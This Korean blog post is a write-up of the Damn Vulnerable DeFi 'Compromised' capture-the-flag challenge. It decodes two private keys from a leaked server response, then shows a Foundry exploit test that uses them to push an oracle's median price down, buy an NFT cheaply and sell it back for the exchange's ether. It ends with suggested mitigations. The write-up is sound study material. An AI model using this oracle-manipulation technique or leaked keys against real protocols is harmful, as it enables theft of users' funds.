티스토리 뷰

문제

 

Compromised

While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. Here’s a snippet: HTTP/2 200 OK content-type: text/html content-language: en vary: Accept-Encoding server: clo

www.damnvulnerabledefi.xyz


취약점

 이번 문제에서 유효할 것으로 보이는 공격은 가격을 조작하여 토큰을 0.1 이더에 산 뒤, 999.1 이더에 되파는 것입니다. 그러나 컨트랙트 자체에는 이렇다 할 취약점이 발견되지 않았습니다.

 

 한 가지 신경 쓰이는 부분은 문제에서 제시해 준 알쏭달쏭한 응답입니다. 이 응답 속에 문제의 실마리가 들어있을 것 같습니다.

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

 우선 공백을 없앤 16진수 문자열을 디코딩해서 출력해 봅시다.

func main() {
	responses := []string{
		"4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35",
		"4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34",
	}

	for _, response := range responses {
		s := strings.Replace(response, " ", "", -1)
		b, _ := hex.DecodeString(s)
		fmt.Println("Decoded Hex:", string(b))
		fmt.Println("=========================================")
	}
}

 앗! 이것은 Base64로 인코딩 된 문자열이군요. 무엇을 인코딩한 것일까요?

$ go run .
Decoded Hex: MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5
=========================================
Decoded Hex: MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4
=========================================

 해당 문자열을 디코딩하여 출력해 봅시다.

for _, response := range responses {
	s := strings.Replace(response, " ", "", -1)
	b, _ := hex.DecodeString(s)

	d := make([]byte, base64.StdEncoding.DecodedLen(len(b)))
	_, _ = base64.StdEncoding.Decode(d, b)

	fmt.Println("Decoded Base64:", string(d))
	fmt.Println("=========================================")
}

 앗! 이 32바이트 크기의 16진수 문자열은 누군가의 비밀키입니다. 그럼 누구의 비밀키일까요?

$ go run .
Decoded Base64: 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9
=========================================
Decoded Base64: 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48
=========================================

 github.com/ethereum/go-ethereum/crypto 패키지를 사용하여 비밀키를 ECDSA 비밀키로 파싱하고 ECDSA 비밀키로부터 이더리움 계정 주소를 구하여 출력해 봅시다.

for _, response := range responses {
	s := strings.Replace(response, " ", "", -1)
	b, _ := hex.DecodeString(s)

	d := make([]byte, base64.StdEncoding.DecodedLen(len(b)))
	_, _ = base64.StdEncoding.Decode(d, b)

	pvk, _ := crypto.HexToECDSA(string(d[2:]))
	addr := crypto.PubkeyToAddress(pvk.PublicKey).Hex()

	fmt.Println("Address:", addr)
	fmt.Println("=========================================")
}
$ go run .
Address: 0xe92401A4d3af5E446d93D11EEc806b1462b39D15
=========================================
Address: 0x81A5D6E50C214044bE44cA0CB057fe119097850c
=========================================

 이 두 개의 주소는 TrustfulOracle 컨트랙트에 등록된 세 개의 소스 중 두 개와 일치합니다. 예상치도 못한 곳에서 공격권을 찾았습니다. 두 개의 비밀키를 사용해 오라클의 가격을 조작해 봅시다.

sources[1] = 0xe92401A4d3af5E446d93D11EEc806b1462b39D15;
sources[2] = 0x81A5D6E50C214044bE44cA0CB057fe119097850c;

 TrustfulOracle 컨트랙트에는 세 개의 소스가 등록되어 있고 오라클로 계산되는 가격은 중앙값으로 결정됩니다. 따라서 두 개의 소스를 조작할 수 있다면 낮은 가격에 사서 높은 가격에 파는 시나리오가 충분히 실행가능해집니다. 마침 두 개의 개인키를 알고 있으므로 이를 사용해 가격을 조작해 봅시다.

function _computeMedianPrice(string memory symbol) private view returns (uint256) {
    uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));

    // calculate median price
    if (prices.length % 2 == 0) {
        uint256 leftPrice = prices[(prices.length / 2) - 1];
        uint256 rightPrice = prices[prices.length / 2];
        return (leftPrice + rightPrice) / 2;
    } else {
        return prices[prices.length / 2];
    }
}

공격

 사실 foundry에서는 비밀키를 모르더라도 vm.prank를 사용해 서명자를 변경할 수 있습니다. 저도 처음에는 이 방법으로 풀었다가 이건 아니다 싶어서 다시 풀어본 것입니다.

 

 어찌 되었든 결과는 하나로 이어집니다. 일단은 공격자가 토큰을 구매할 수 있도록 중앙값을 0.1 이더로 조작합니다. 그리고 공격자는 토큰을 구매합니다. 구매자가 토큰을 구매하고 나면 되팔기 위해 중앙값을 999.1 이더로 조작합니다. 공격자는 조작된 가격에 토큰을 팔고 마지막으로 조작한 오라클의 가격을 되돌려 놓습니다.

uint256 medianPrice = trustfulOracle.getMedianPrice("DVNFT");
console.log("Median price: ", medianPrice);

// Manipulate the median price with leaked private keys
uint256 source1PrivateKey = 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9;
uint256 source2PrivateKey = 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48;

address source1 = vm.addr(source1PrivateKey);
address source2 = vm.addr(source2PrivateKey);

vm.prank(source1);
trustfulOracle.postPrice("DVNFT", 0.01 ether);

vm.prank(source2);
trustfulOracle.postPrice("DVNFT", 0.1 ether);

// Check the median price again
medianPrice = trustfulOracle.getMedianPrice("DVNFT");
console.log("Updated median price to buy: ", medianPrice);

// Buy a token for 0.1 ether
vm.prank(attacker);
uint256 tokenId = exchange.buyOne{value: 0.1 ether}();

console.log("Token ID bought: ", tokenId);

// Manipulate the median price again
vm.prank(source1);
trustfulOracle.postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE + 0.1 ether);

vm.prank(source2);
trustfulOracle.postPrice("DVNFT", EXCHANGE_INITIAL_ETH_BALANCE + 0.1 ether);

// Check the median price again
medianPrice = trustfulOracle.getMedianPrice("DVNFT");
console.log("Updated Median price to sell: ", medianPrice);

// Sell the token back to the exchange
vm.startPrank(attacker);
damnValuableNFT.approve(address(exchange), tokenId);
exchange.sellOne(tokenId);
vm.stopPrank();

// Revert the median price
vm.prank(source1);
trustfulOracle.postPrice("DVNFT", INITIAL_NFT_PRICE);

vm.prank(source2);
trustfulOracle.postPrice("DVNFT", INITIAL_NFT_PRICE);
$ make Compromised 
forge test --match-test testExploit --match-contract Compromised
[⠔] Compiling...
No files changed, compilation skipped

Ran 1 test for test/Levels/compromised/Compromised.t.sol:Compromised
[PASS] testExploit() (gas: 254900)
Logs:
  🧨 Let's see if you can break it... 🧨
  Median price:  999000000000000000000
  Updated median price to buy:  100000000000000000
  Token ID bought:  0
  Updated Median price to sell:  9990100000000000000000
  
🎉 Congratulations, you can go to the next level! 🎉

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.09ms

Ran 1 test suite in 7.09ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)

개선안

 비밀키가 노출된 시점에서 개선안이고 뭐고 의미가 없기는 하지만, 일차적으로는 오라클의 가격을 결정하는 것이 탈중앙화된 CA가 아니라 EOA라는 점이 문제입니다. Chainlink price feed나 Uniswap 오라클 등 탈중앙화된 주체들을 통해 가격을 받아오는 구조로 개선하는 것이 바람직합니다.

 

 그리고 비밀키를 암호화된 상태로 저장하여 사용하는 것도 필요하겠네요.

'Solidity > Hacking' 카테고리의 다른 글

[Damn Vulnerable DeFi] Puppet V2  (0) 2024.02.29
[Damn Vulnerable DeFi] Puppet  (1) 2024.02.28
[Damn Vulnerable DeFi] Selfie  (0) 2024.02.26
[Damn Vulnerable DeFi] The Rewarder  (0) 2024.02.25
[Ethernaut] 24. Puzzle Wallet  (1) 2024.02.25
최근에 올라온 글
최근에 달린 댓글
«   2025/01   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31
Total
Today
Yesterday
글 보관함